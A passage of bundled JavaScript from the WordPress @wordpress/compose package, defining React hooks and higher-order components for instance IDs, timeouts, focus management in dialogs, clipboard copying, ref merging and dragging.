        forwardedRef: ref
      });
    });
  }, 'withGlobalEvents');
}

;// ./node_modules/@wordpress/compose/build-module/hooks/use-instance-id/index.js
/**
 * WordPress dependencies
 */

const instanceMap = new WeakMap();

/**
 * Creates a new id for a given object.
 *
 * @param object Object reference to create an id for.
 * @return The instance id (index).
 */
function createId(object) {
  const instances = instanceMap.get(object) || 0;
  instanceMap.set(object, instances + 1);
  return instances;
}

/**
 * Specify the useInstanceId *function* signatures.
 *
 * More accurately, useInstanceId distinguishes between three different
 * signatures:
 *
 * 1. When only object is given, the returned value is a number
 * 2. When object and prefix is given, the returned value is a string
 * 3. When preferredId is given, the returned value is the type of preferredId
 *
 * @param object Object reference to create an id for.
 */

/**
 * Provides a unique instance ID.
 *
 * @param object        Object reference to create an id for.
 * @param [prefix]      Prefix for the unique id.
 * @param [preferredId] Default ID to use.
 * @return The unique instance id.
 */
function useInstanceId(object, prefix, preferredId) {
  return (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (preferredId) {
      return preferredId;
    }
    const id = createId(object);
    return prefix ? `${prefix}-${id}` : id;
  }, [object, preferredId, prefix]);
}
/* harmony default export */ const use_instance_id = (useInstanceId);

;// ./node_modules/@wordpress/compose/build-module/higher-order/with-instance-id/index.js
/**
 * Internal dependencies
 */




/**
 * A Higher Order Component used to provide a unique instance ID by component.
 */
const withInstanceId = createHigherOrderComponent(WrappedComponent => {
  return props => {
    const instanceId = use_instance_id(WrappedComponent);
    // @ts-ignore
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(WrappedComponent, {
      ...props,
      instanceId: instanceId
    });
  };
}, 'instanceId');
/* harmony default export */ const with_instance_id = (withInstanceId);

;// ./node_modules/@wordpress/compose/build-module/higher-order/with-safe-timeout/index.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */



/**
 * We cannot use the `Window['setTimeout']` and `Window['clearTimeout']`
 * types here because those functions include functionality that is not handled
 * by this component, like the ability to pass extra arguments.
 *
 * In the case of this component, we only handle the simplest case where
 * `setTimeout` only accepts a function (not a string) and an optional delay.
 */

/**
 * A higher-order component used to provide and manage delayed function calls
 * that ought to be bound to a component's lifecycle.
 */
const withSafeTimeout = createHigherOrderComponent(OriginalComponent => {
  return class WrappedComponent extends external_wp_element_namespaceObject.Component {
    constructor(props) {
      super(props);
      this.timeouts = [];
      this.setTimeout = this.setTimeout.bind(this);
      this.clearTimeout = this.clearTimeout.bind(this);
    }
    componentWillUnmount() {
      this.timeouts.forEach(clearTimeout);
    }
    setTimeout(fn, delay) {
      const id = setTimeout(() => {
        fn();
        this.clearTimeout(id);
      }, delay);
      this.timeouts.push(id);
      return id;
    }
    clearTimeout(id) {
      clearTimeout(id);
      this.timeouts = this.timeouts.filter(timeoutId => timeoutId !== id);
    }
    render() {
      return (
        /*#__PURE__*/
        // @ts-ignore
        (0,external_ReactJSXRuntime_namespaceObject.jsx)(OriginalComponent, {
          ...this.props,
          setTimeout: this.setTimeout,
          clearTimeout: this.clearTimeout
        })
      );
    }
  };
}, 'withSafeTimeout');
/* harmony default export */ const with_safe_timeout = (withSafeTimeout);

;// ./node_modules/@wordpress/compose/build-module/higher-order/with-state/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


/**
 * A Higher Order Component used to provide and manage internal component state
 * via props.
 *
 * @deprecated Use `useState` instead.
 *
 * @param {any} initialState Optional initial state of the component.
 *
 * @return {any} A higher order component wrapper accepting a component that takes the state props + its own props + `setState` and returning a component that only accepts the own props.
 */

function withState(initialState = {}) {
  external_wp_deprecated_default()('wp.compose.withState', {
    since: '5.8',
    alternative: 'wp.element.useState'
  });
  return createHigherOrderComponent(OriginalComponent => {
    return class WrappedComponent extends external_wp_element_namespaceObject.Component {
      constructor(/** @type {any} */props) {
        super(props);
        this.setState = this.setState.bind(this);
        this.state = initialState;
      }
      render() {
        return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(OriginalComponent, {
          ...this.props,
          ...this.state,
          setState: this.setState
        });
      }
    };
  }, 'withState');
}

;// external ["wp","dom"]
const external_wp_dom_namespaceObject = window["wp"]["dom"];
;// ./node_modules/@wordpress/compose/build-module/hooks/use-ref-effect/index.js
/**
 * External dependencies
 */

/**
 * WordPress dependencies
 */


/**
 * Effect-like ref callback. Just like with `useEffect`, this allows you to
 * return a cleanup function to be run if the ref changes or one of the
 * dependencies changes. The ref is provided as an argument to the callback
 * functions. The main difference between this and `useEffect` is that
 * the `useEffect` callback is not called when the ref changes, but this is.
 * Pass the returned ref callback as the component's ref and merge multiple refs
 * with `useMergeRefs`.
 *
 * It's worth noting that if the dependencies array is empty, there's not
 * strictly a need to clean up event handlers for example, because the node is
 * to be removed. It *is* necessary if you add dependencies because the ref
 * callback will be called multiple times for the same node.
 *
 * @param callback     Callback with ref as argument.
 * @param dependencies Dependencies of the callback.
 *
 * @return Ref callback.
 */
function useRefEffect(callback, dependencies) {
  const cleanupRef = (0,external_wp_element_namespaceObject.useRef)();
  return (0,external_wp_element_namespaceObject.useCallback)(node => {
    if (node) {
      cleanupRef.current = callback(node);
    } else if (cleanupRef.current) {
      cleanupRef.current();
    }
  }, dependencies);
}

;// ./node_modules/@wordpress/compose/build-module/hooks/use-constrained-tabbing/index.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */


/**
 * In Dialogs/modals, the tabbing must be constrained to the content of
 * the wrapper element. This hook adds the behavior to the returned ref.
 *
 * @return {import('react').RefCallback<Element>} Element Ref.
 *
 * @example
 * ```js
 * import { useConstrainedTabbing } from '@wordpress/compose';
 *
 * const ConstrainedTabbingExample = () => {
 *     const constrainedTabbingRef = useConstrainedTabbing()
 *     return (
 *         <div ref={ constrainedTabbingRef }>
 *             <Button />
 *             <Button />
 *         </div>
 *     );
 * }
 * ```
 */
function useConstrainedTabbing() {
  return useRefEffect((/** @type {HTMLElement} */node) => {
    function onKeyDown(/** @type {KeyboardEvent} */event) {
      const {
        key,
        shiftKey,
        target
      } = event;
      if (key !== 'Tab') {
        return;
      }
      const action = shiftKey ? 'findPrevious' : 'findNext';
      const nextElement = external_wp_dom_namespaceObject.focus.tabbable[action](/** @type {HTMLElement} */target) || null;

      // When the target element contains the element that is about to
      // receive focus, for example when the target is a tabbable
      // container, browsers may disagree on where to move focus next.
      // In this case we can't rely on native browsers behavior. We need
      // to manage focus instead.
      // See https://github.com/WordPress/gutenberg/issues/46041.
      if (/** @type {HTMLElement} */target.contains(nextElement)) {
        event.preventDefault();
        nextElement?.focus();
        return;
      }

      // If the element that is about to receive focus is inside the
      // area, rely on native browsers behavior and let tabbing follow
      // the native tab sequence.
      if (node.contains(nextElement)) {
        return;
      }

      // If the element that is about to receive focus is outside the
      // area, move focus to a div and insert it at the start or end of
      // the area, depending on the direction. Without preventing default
      // behaviour, the browser will then move focus to the next element.
      const domAction = shiftKey ? 'append' : 'prepend';
      const {
        ownerDocument
      } = node;
      const trap = ownerDocument.createElement('div');
      trap.tabIndex = -1;
      node[domAction](trap);

      // Remove itself when the trap loses focus.
      trap.addEventListener('blur', () => node.removeChild(trap));
      trap.focus();
    }
    node.addEventListener('keydown', onKeyDown);
    return () => {
      node.removeEventListener('keydown', onKeyDown);
    };
  }, []);
}
/* harmony default export */ const use_constrained_tabbing = (useConstrainedTabbing);

// EXTERNAL MODULE: ./node_modules/clipboard/dist/clipboard.js
var dist_clipboard = __webpack_require__(3758);
var clipboard_default = /*#__PURE__*/__webpack_require__.n(dist_clipboard);
;// ./node_modules/@wordpress/compose/build-module/hooks/use-copy-on-click/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */



/* eslint-disable jsdoc/no-undefined-types */
/**
 * Copies the text to the clipboard when the element is clicked.
 *
 * @deprecated
 *
 * @param {import('react').RefObject<string | Element | NodeListOf<Element>>} ref       Reference with the element.
 * @param {string|Function}                                                   text      The text to copy.
 * @param {number}                                                            [timeout] Optional timeout to reset the returned
 *                                                                                      state. 4 seconds by default.
 *
 * @return {boolean} Whether or not the text has been copied. Resets after the
 *                   timeout.
 */
function useCopyOnClick(ref, text, timeout = 4000) {
  /* eslint-enable jsdoc/no-undefined-types */
  external_wp_deprecated_default()('wp.compose.useCopyOnClick', {
    since: '5.8',
    alternative: 'wp.compose.useCopyToClipboard'
  });

  /** @type {import('react').MutableRefObject<Clipboard | undefined>} */
  const clipboardRef = (0,external_wp_element_namespaceObject.useRef)();
  const [hasCopied, setHasCopied] = (0,external_wp_element_namespaceObject.useState)(false);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    /** @type {number | undefined} */
    let timeoutId;
    if (!ref.current) {
      return;
    }

    // Clipboard listens to click events.
    clipboardRef.current = new (clipboard_default())(ref.current, {
      text: () => typeof text === 'function' ? text() : text
    });
    clipboardRef.current.on('success', ({
      clearSelection,
      trigger
    }) => {
      // Clearing selection will move focus back to the triggering button,
      // ensuring that it is not reset to the body, and further that it is
      // kept within the rendered node.
      clearSelection();

      // Handle ClipboardJS focus bug, see https://github.com/zenorocha/clipboard.js/issues/680
      if (trigger) {
        /** @type {HTMLElement} */trigger.focus();
      }
      if (timeout) {
        setHasCopied(true);
        clearTimeout(timeoutId);
        timeoutId = setTimeout(() => setHasCopied(false), timeout);
      }
    });
    return () => {
      if (clipboardRef.current) {
        clipboardRef.current.destroy();
      }
      clearTimeout(timeoutId);
    };
  }, [text, timeout, setHasCopied]);
  return hasCopied;
}

;// ./node_modules/@wordpress/compose/build-module/hooks/use-copy-to-clipboard/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */


/**
 * @template T
 * @param {T} value
 * @return {import('react').RefObject<T>} The updated ref
 */
function useUpdatedRef(value) {
  const ref = (0,external_wp_element_namespaceObject.useRef)(value);
  (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
    ref.current = value;
  }, [value]);
  return ref;
}

/**
 * Copies the given text to the clipboard when the element is clicked.
 *
 * @template {HTMLElement} TElementType
 * @param {string | (() => string)} text      The text to copy. Use a function if not
 *                                            already available and expensive to compute.
 * @param {Function}                onSuccess Called when to text is copied.
 *
 * @return {import('react').Ref<TElementType>} A ref to assign to the target element.
 */
function useCopyToClipboard(text, onSuccess) {
  // Store the dependencies as refs and continuously update them so they're
  // fresh when the callback is called.
  const textRef = useUpdatedRef(text);
  const onSuccessRef = useUpdatedRef(onSuccess);
  return useRefEffect(node => {
    // Clipboard listens to click events.
    const clipboard = new (clipboard_default())(node, {
      text() {
        return typeof textRef.current === 'function' ? textRef.current() : textRef.current || '';
      }
    });
    clipboard.on('success', ({
      clearSelection
    }) => {
      // Clearing selection will move focus back to the triggering
      // button, ensuring that it is not reset to the body, and
      // further that it is kept within the rendered node.
      clearSelection();
      if (onSuccessRef.current) {
        onSuccessRef.current();
      }
    });
    return () => {
      clipboard.destroy();
    };
  }, []);
}

;// external ["wp","keycodes"]
const external_wp_keycodes_namespaceObject = window["wp"]["keycodes"];
;// ./node_modules/@wordpress/compose/build-module/hooks/use-focus-on-mount/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


/**
 * Hook used to focus the first tabbable element on mount.
 *
 * @param {boolean | 'firstElement'} focusOnMount Focus on mount mode.
 * @return {import('react').RefCallback<HTMLElement>} Ref callback.
 *
 * @example
 * ```js
 * import { useFocusOnMount } from '@wordpress/compose';
 *
 * const WithFocusOnMount = () => {
 *     const ref = useFocusOnMount()
 *     return (
 *         <div ref={ ref }>
 *             <Button />
 *             <Button />
 *         </div>
 *     );
 * }
 * ```
 */
function useFocusOnMount(focusOnMount = 'firstElement') {
  const focusOnMountRef = (0,external_wp_element_namespaceObject.useRef)(focusOnMount);

  /**
   * Sets focus on a DOM element.
   *
   * @param {HTMLElement} target The DOM element to set focus to.
   * @return {void}
   */
  const setFocus = target => {
    target.focus({
      // When focusing newly mounted dialogs,
      // the position of the popover is often not right on the first render
      // This prevents the layout shifts when focusing the dialogs.
      preventScroll: true
    });
  };

  /** @type {import('react').MutableRefObject<ReturnType<setTimeout> | undefined>} */
  const timerIdRef = (0,external_wp_element_namespaceObject.useRef)();
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    focusOnMountRef.current = focusOnMount;
  }, [focusOnMount]);
  return useRefEffect(node => {
    var _node$ownerDocument$a;
    if (!node || focusOnMountRef.current === false) {
      return;
    }
    if (node.contains((_node$ownerDocument$a = node.ownerDocument?.activeElement) !== null && _node$ownerDocument$a !== void 0 ? _node$ownerDocument$a : null)) {
      return;
    }
    if (focusOnMountRef.current !== 'firstElement') {
      setFocus(node);
      return;
    }
    timerIdRef.current = setTimeout(() => {
      const firstTabbable = external_wp_dom_namespaceObject.focus.tabbable.find(node)[0];
      if (firstTabbable) {
        setFocus(firstTabbable);
      }
    }, 0);
    return () => {
      if (timerIdRef.current) {
        clearTimeout(timerIdRef.current);
      }
    };
  }, []);
}

;// ./node_modules/@wordpress/compose/build-module/hooks/use-focus-return/index.js
/**
 * WordPress dependencies
 */


/** @type {Element|null} */
let origin = null;

/**
 * Adds the unmount behavior of returning focus to the element which had it
 * previously as is expected for roles like menus or dialogs.
 *
 * @param {() => void} [onFocusReturn] Overrides the default return behavior.
 * @return {import('react').RefCallback<HTMLElement>} Element Ref.
 *
 * @example
 * ```js
 * import { useFocusReturn } from '@wordpress/compose';
 *
 * const WithFocusReturn = () => {
 *     const ref = useFocusReturn()
 *     return (
 *         <div ref={ ref }>
 *             <Button />
 *             <Button />
 *         </div>
 *     );
 * }
 * ```
 */
function useFocusReturn(onFocusReturn) {
  /** @type {import('react').MutableRefObject<null | HTMLElement>} */
  const ref = (0,external_wp_element_namespaceObject.useRef)(null);
  /** @type {import('react').MutableRefObject<null | Element>} */
  const focusedBeforeMount = (0,external_wp_element_namespaceObject.useRef)(null);
  const onFocusReturnRef = (0,external_wp_element_namespaceObject.useRef)(onFocusReturn);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    onFocusReturnRef.current = onFocusReturn;
  }, [onFocusReturn]);
  return (0,external_wp_element_namespaceObject.useCallback)(node => {
    if (node) {
      var _activeDocument$activ;
      // Set ref to be used when unmounting.
      ref.current = node;

      // Only set when the node mounts.
      if (focusedBeforeMount.current) {
        return;
      }
      const activeDocument = node.ownerDocument.activeElement instanceof window.HTMLIFrameElement ? node.ownerDocument.activeElement.contentDocument : node.ownerDocument;
      focusedBeforeMount.current = (_activeDocument$activ = activeDocument?.activeElement) !== null && _activeDocument$activ !== void 0 ? _activeDocument$activ : null;
    } else if (focusedBeforeMount.current) {
      const isFocused = ref.current?.contains(ref.current?.ownerDocument.activeElement);
      if (ref.current?.isConnected && !isFocused) {
        var _origin;
        (_origin = origin) !== null && _origin !== void 0 ? _origin : origin = focusedBeforeMount.current;
        return;
      }

      // Defer to the component's own explicit focus return behavior, if
      // specified. This allows for support that the `onFocusReturn`
      // decides to allow the default behavior to occur under some
      // conditions.
      if (onFocusReturnRef.current) {
        onFocusReturnRef.current();
      } else {
        /** @type {null|HTMLElement} */(!focusedBeforeMount.current.isConnected ? origin : focusedBeforeMount.current)?.focus();
      }
      origin = null;
    }
  }, []);
}
/* harmony default export */ const use_focus_return = (useFocusReturn);

;// ./node_modules/@wordpress/compose/build-module/hooks/use-focus-outside/index.js
/**
 * WordPress dependencies
 */


/**
 * Input types which are classified as button types, for use in considering
 * whether element is a (focus-normalized) button.
 */
const INPUT_BUTTON_TYPES = ['button', 'submit'];

/**
 * List of HTML button elements subject to focus normalization
 *
 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button#Clicking_and_focus
 */

/**
 * Returns true if the given element is a button element subject to focus
 * normalization, or false otherwise.
 *
 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button#Clicking_and_focus
 *
 * @param eventTarget The target from a mouse or touch event.
 *
 * @return Whether the element is a button element subject to focus normalization.
 */
function isFocusNormalizedButton(eventTarget) {
  if (!(eventTarget instanceof window.HTMLElement)) {
    return false;
  }
  switch (eventTarget.nodeName) {
    case 'A':
    case 'BUTTON':
      return true;
    case 'INPUT':
      return INPUT_BUTTON_TYPES.includes(eventTarget.type);
  }
  return false;
}
/**
 * A react hook that can be used to check whether focus has moved outside the
 * element the event handlers are bound to.
 *
 * @param onFocusOutside A callback triggered when focus moves outside
 *                       the element the event handlers are bound to.
 *
 * @return An object containing event handlers. Bind the event handlers to a
 * wrapping element element to capture when focus moves outside that element.
 */
function useFocusOutside(onFocusOutside) {
  const currentOnFocusOutsideRef = (0,external_wp_element_namespaceObject.useRef)(onFocusOutside);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    currentOnFocusOutsideRef.current = onFocusOutside;
  }, [onFocusOutside]);
  const preventBlurCheckRef = (0,external_wp_element_namespaceObject.useRef)(false);
  const blurCheckTimeoutIdRef = (0,external_wp_element_namespaceObject.useRef)();

  /**
   * Cancel a blur check timeout.
   */
  const cancelBlurCheck = (0,external_wp_element_namespaceObject.useCallback)(() => {
    clearTimeout(blurCheckTimeoutIdRef.current);
  }, []);

  // Cancel blur checks on unmount.
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    return () => cancelBlurCheck();
  }, []);

  // Cancel a blur check if the callback or ref is no longer provided.
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (!onFocusOutside) {
      cancelBlurCheck();
    }
  }, [onFocusOutside, cancelBlurCheck]);

  /**
   * Handles a mousedown or mouseup event to respectively assign and
   * unassign a flag for preventing blur check on button elements. Some
   * browsers, namely Firefox and Safari, do not emit a focus event on
   * button elements when clicked, while others do. The logic here
   * intends to normalize this as treating click on buttons as focus.
   *
   * @param event
   * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button#Clicking_and_focus
   */
  const normalizeButtonFocus = (0,external_wp_element_namespaceObject.useCallback)(event => {
    const {
      type,
      target
    } = event;
    const isInteractionEnd = ['mouseup', 'touchend'].includes(type);
    if (isInteractionEnd) {
      preventBlurCheckRef.current = false;
    } else if (isFocusNormalizedButton(target)) {
      preventBlurCheckRef.current = true;
    }
  }, []);

  /**
   * A callback triggered when a blur event occurs on the element the handler
   * is bound to.
   *
   * Calls the `onFocusOutside` callback in an immediate timeout if focus has
   * move outside the bound element and is still within the document.
   */
  const queueBlurCheck = (0,external_wp_element_namespaceObject.useCallback)(event => {
    // React does not allow using an event reference asynchronously
    // due to recycling behavior, except when explicitly persisted.
    event.persist();

    // Skip blur check if clicking button. See `normalizeButtonFocus`.
    if (preventBlurCheckRef.current) {
      return;
    }

    // The usage of this attribute should be avoided. The only use case
    // would be when we load modals that are not React components and
    // therefore don't exist in the React tree. An example is opening
    // the Media Library modal from another dialog.
    // This attribute should contain a selector of the related target
    // we want to ignore, because we still need to trigger the blur event
    // on all other cases.
    const ignoreForRelatedTarget = event.target.getAttribute('data-unstable-ignore-focus-outside-for-relatedtarget');
    if (ignoreForRelatedTarget && event.relatedTarget?.closest(ignoreForRelatedTarget)) {
      return;
    }
    blurCheckTimeoutIdRef.current = setTimeout(() => {
      // If document is not focused then focus should remain
      // inside the wrapped component and therefore we cancel
      // this blur event thereby leaving focus in place.
      // https://developer.mozilla.org/en-US/docs/Web/API/Document/hasFocus.
      if (!document.hasFocus()) {
        event.preventDefault();
        return;
      }
      if ('function' === typeof currentOnFocusOutsideRef.current) {
        currentOnFocusOutsideRef.current(event);
      }
    }, 0);
  }, []);
  return {
    onFocus: cancelBlurCheck,
    onMouseDown: normalizeButtonFocus,
    onMouseUp: normalizeButtonFocus,
    onTouchStart: normalizeButtonFocus,
    onTouchEnd: normalizeButtonFocus,
    onBlur: queueBlurCheck
  };
}

;// ./node_modules/@wordpress/compose/build-module/hooks/use-merge-refs/index.js
/**
 * WordPress dependencies
 */


/* eslint-disable jsdoc/valid-types */
/**
 * @template T
 * @typedef {T extends import('react').Ref<infer R> ? R : never} TypeFromRef
 */
/* eslint-enable jsdoc/valid-types */

/**
 * @template T
 * @param {import('react').Ref<T>} ref
 * @param {T}                      value
 */
function assignRef(ref, value) {
  if (typeof ref === 'function') {
    ref(value);
  } else if (ref && ref.hasOwnProperty('current')) {
    /* eslint-disable jsdoc/no-undefined-types */
    /** @type {import('react').MutableRefObject<T>} */ref.current = value;
    /* eslint-enable jsdoc/no-undefined-types */
  }
}

/**
 * Merges refs into one ref callback.
 *
 * It also ensures that the merged ref callbacks are only called when they
 * change (as a result of a `useCallback` dependency update) OR when the ref
 * value changes, just as React does when passing a single ref callback to the
 * component.
 *
 * As expected, if you pass a new function on every render, the ref callback
 * will be called after every render.
 *
 * If you don't wish a ref callback to be called after every render, wrap it
 * with `useCallback( callback, dependencies )`. When a dependency changes, the
 * old ref callback will be called with `null` and the new ref callback will be
 * called with the same value.
 *
 * To make ref callbacks easier to use, you can also pass the result of
 * `useRefEffect`, which makes cleanup easier by allowing you to return a
 * cleanup function instead of handling `null`.
 *
 * It's also possible to _disable_ a ref (and its behaviour) by simply not
 * passing the ref.
 *
 * ```jsx
 * const ref = useRefEffect( ( node ) => {
 *   node.addEventListener( ... );
 *   return () => {
 *     node.removeEventListener( ... );
 *   };
 * }, [ ...dependencies ] );
 * const otherRef = useRef();
 * const mergedRefs useMergeRefs( [
 *   enabled && ref,
 *   otherRef,
 * ] );
 * return <div ref={ mergedRefs } />;
 * ```
 *
 * @template {import('react').Ref<any>} TRef
 * @param {Array<TRef>} refs The refs to be merged.
 *
 * @return {import('react').RefCallback<TypeFromRef<TRef>>} The merged ref callback.
 */
function useMergeRefs(refs) {
  const element = (0,external_wp_element_namespaceObject.useRef)();
  const isAttachedRef = (0,external_wp_element_namespaceObject.useRef)(false);
  const didElementChangeRef = (0,external_wp_element_namespaceObject.useRef)(false);
  /* eslint-disable jsdoc/no-undefined-types */
  /** @type {import('react').MutableRefObject<TRef[]>} */
  /* eslint-enable jsdoc/no-undefined-types */
  const previousRefsRef = (0,external_wp_element_namespaceObject.useRef)([]);
  const currentRefsRef = (0,external_wp_element_namespaceObject.useRef)(refs);

  // Update on render before the ref callback is called, so the ref callback
  // always has access to the current refs.
  currentRefsRef.current = refs;

  // If any of the refs change, call the previous ref with `null` and the new
  // ref with the node, except when the element changes in the same cycle, in
  // which case the ref callbacks will already have been called.
  (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
    if (didElementChangeRef.current === false && isAttachedRef.current === true) {
      refs.forEach((ref, index) => {
        const previousRef = previousRefsRef.current[index];
        if (ref !== previousRef) {
          assignRef(previousRef, null);
          assignRef(ref, element.current);
        }
      });
    }
    previousRefsRef.current = refs;
  }, refs);

  // No dependencies, must be reset after every render so ref callbacks are
  // correctly called after a ref change.
  (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
    didElementChangeRef.current = false;
  });

  // There should be no dependencies so that `callback` is only called when
  // the node changes.
  return (0,external_wp_element_namespaceObject.useCallback)(value => {
    // Update the element so it can be used when calling ref callbacks on a
    // dependency change.
    assignRef(element, value);
    didElementChangeRef.current = true;
    isAttachedRef.current = value !== null;

    // When an element changes, the current ref callback should be called
    // with the new element and the previous one with `null`.
    const refsToAssign = value ? currentRefsRef.current : previousRefsRef.current;

    // Update the latest refs.
    for (const ref of refsToAssign) {
      assignRef(ref, value);
    }
  }, []);
}

;// ./node_modules/@wordpress/compose/build-module/hooks/use-dialog/index.js
/**
 * External dependencies
 */

/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */





/**
 * Returns a ref and props to apply to a dialog wrapper to enable the following behaviors:
 *  - constrained tabbing.
 *  - focus on mount.
 *  - return focus on unmount.
 *  - focus outside.
 *
 * @param options Dialog Options.
 */
function useDialog(options) {
  const currentOptions = (0,external_wp_element_namespaceObject.useRef)();
  const {
    constrainTabbing = options.focusOnMount !== false
  } = options;
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    currentOptions.current = options;
  }, Object.values(options));
  const constrainedTabbingRef = use_constrained_tabbing();
  const focusOnMountRef = useFocusOnMount(options.focusOnMount);
  const focusReturnRef = use_focus_return();
  const focusOutsideProps = useFocusOutside(event => {
    // This unstable prop  is here only to manage backward compatibility
    // for the Popover component otherwise, the onClose should be enough.
    if (currentOptions.current?.__unstableOnClose) {
      currentOptions.current.__unstableOnClose('focus-outside', event);
    } else if (currentOptions.current?.onClose) {
      currentOptions.current.onClose();
    }
  });
  const closeOnEscapeRef = (0,external_wp_element_namespaceObject.useCallback)(node => {
    if (!node) {
      return;
    }
    node.addEventListener('keydown', event => {
      // Close on escape.
      if (event.keyCode === external_wp_keycodes_namespaceObject.ESCAPE && !event.defaultPrevented && currentOptions.current?.onClose) {
        event.preventDefault();
        currentOptions.current.onClose();
      }
    });
  }, []);
  return [useMergeRefs([constrainTabbing ? constrainedTabbingRef : null, options.focusOnMount !== false ? focusReturnRef : null, options.focusOnMount !== false ? focusOnMountRef : null, closeOnEscapeRef]), {
    ...focusOutsideProps,
    tabIndex: -1
  }];
}
/* harmony default export */ const use_dialog = (useDialog);

;// ./node_modules/@wordpress/compose/build-module/hooks/use-disabled/index.js
/**
 * Internal dependencies
 */



/**
 * In some circumstances, such as block previews, all focusable DOM elements
 * (input fields, links, buttons, etc.) need to be disabled. This hook adds the
 * behavior to disable nested DOM elements to the returned ref.
 *
 * If you can, prefer the use of the inert HTML attribute.
 *
 * @param {Object}   config            Configuration object.
 * @param {boolean=} config.isDisabled Whether the element should be disabled.
 * @return {import('react').RefCallback<HTMLElement>} Element Ref.
 *
 * @example
 * ```js
 * import { useDisabled } from '@wordpress/compose';
 *
 * const DisabledExample = () => {
 * 	const disabledRef = useDisabled();
 *	return (
 *		<div ref={ disabledRef }>
 *			<a href="#">This link will have tabindex set to -1</a>
 *			<input placeholder="This input will have the disabled attribute added to it." type="text" />
 *		</div>
 *	);
 * };
 * ```
 */
function useDisabled({
  isDisabled: isDisabledProp = false
} = {}) {
  return useRefEffect(node => {
    if (isDisabledProp) {
      return;
    }
    const defaultView = node?.ownerDocument?.defaultView;
    if (!defaultView) {
      return;
    }

    /** A variable keeping track of the previous updates in order to restore them. */
    const updates = [];
    const disable = () => {
      node.childNodes.forEach(child => {
        if (!(child instanceof defaultView.HTMLElement)) {
          return;
        }
        if (!child.getAttribute('inert')) {
          child.setAttribute('inert', 'true');
          updates.push(() => {
            child.removeAttribute('inert');
          });
        }
      });
    };

    // Debounce re-disable since disabling process itself will incur
    // additional mutations which should be ignored.
    const debouncedDisable = debounce(disable, 0, {
      leading: true
    });
    disable();

    /** @type {MutationObserver | undefined} */
    const observer = new window.MutationObserver(debouncedDisable);
    observer.observe(node, {
      childList: true
    });
    return () => {
      if (observer) {
        observer.disconnect();
      }
      debouncedDisable.cancel();
      updates.forEach(update => update());
    };
  }, [isDisabledProp]);
}

;// ./node_modules/@wordpress/compose/build-module/hooks/use-event/index.js
/**
 * WordPress dependencies
 */


/**
 * Any function.
 */

/**
 * Creates a stable callback function that has access to the latest state and
 * can be used within event handlers and effect callbacks. Throws when used in
 * the render phase.
 *
 * @param callback The callback function to wrap.
 *
 * @example
 *
 * ```tsx
 * function Component( props ) {
 *   const onClick = useEvent( props.onClick );
 *   useEffect( () => {
 *     onClick();
 *     // Won't trigger the effect again when props.onClick is updated.
 *   }, [ onClick ] );
 *   // Won't re-render Button when props.onClick is updated (if `Button` is
 *   // wrapped in `React.memo`).
 *   return <Button onClick={ onClick } />;
 * }
 * ```
 */
function useEvent(
/**
 * The callback function to wrap.
 */
callback) {
  const ref = (0,external_wp_element_namespaceObject.useRef)(() => {
    throw new Error('Callbacks created with `useEvent` cannot be called during rendering.');
  });
  (0,external_wp_element_namespaceObject.useInsertionEffect)(() => {
    ref.current = callback;
  });
  return (0,external_wp_element_namespaceObject.useCallback)((...args) => ref.current?.(...args), []);
}

;// ./node_modules/@wordpress/compose/build-module/hooks/use-isomorphic-layout-effect/index.js
/**
 * WordPress dependencies
 */


/**
 * Preferred over direct usage of `useLayoutEffect` when supporting
 * server rendered components (SSR) because currently React
 * throws a warning when using useLayoutEffect in that environment.
 */
const useIsomorphicLayoutEffect = typeof window !== 'undefined' ? external_wp_element_namespaceObject.useLayoutEffect : external_wp_element_namespaceObject.useEffect;
/* harmony default export */ const use_isomorphic_layout_effect = (useIsomorphicLayoutEffect);

;// ./node_modules/@wordpress/compose/build-module/hooks/use-dragging/index.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */


// Event handlers that are triggered from `document` listeners accept a MouseEvent,
// while those triggered from React listeners accept a React.MouseEvent.
/**
 * @param {Object}                                  props
 * @param {(e: import('react').MouseEvent) => void} props.onDragStart
 * @param {(e: MouseEvent) => void}                 props.onDragMove
 * @param {(e?: MouseEvent) => void}                props.onDragEnd
 */
function useDragging({
  onDragStart,
  onDragMove,
  onDragEnd
}) {
  const [isDragging, setIsDragging] = (0,external_wp_element_namespaceObject.useState)(false);
  const eventsRef = (0,external_wp_element_namespaceObject.useRef)({
    onDragStart,
    onDragMove,
    onDragEnd
  });
  use_isomorphic_layout_effect(() => {
    eventsRef.current.onDragStart = onDragStart;
    eventsRef.current.onDragMove = onDragMove;
    eventsRef.current.onDragEnd = onDragEnd;
  }, [onDragStart, onDragMove, onDragEnd]);

  /** @type {(e: MouseEvent) => void} */
  const onMouseMove = (0,external_wp_element_namespaceObject.useCallback)(event => eventsRef.current.onDragMove && eventsRef.current.onDragMove(event), []);
  /** @type {(e?: MouseEvent) => void} */
  const endDrag = (0,external_wp_element_namespaceObject.useCallback)(event => {
    if (eventsRef.current.onDragEnd) {
      eventsRef.current.onDragEnd(event);
    }
    document.removeEventListener('mousemove', onMouseMove);
    document.removeEventListener('mouseup', endDrag);
    setIsDragging(false);
  }, []);
  /** @type {(e: import('react').MouseEvent) => void} */
  const startDrag = (0,external_wp_element_namespaceObject.useCallback)(event => {
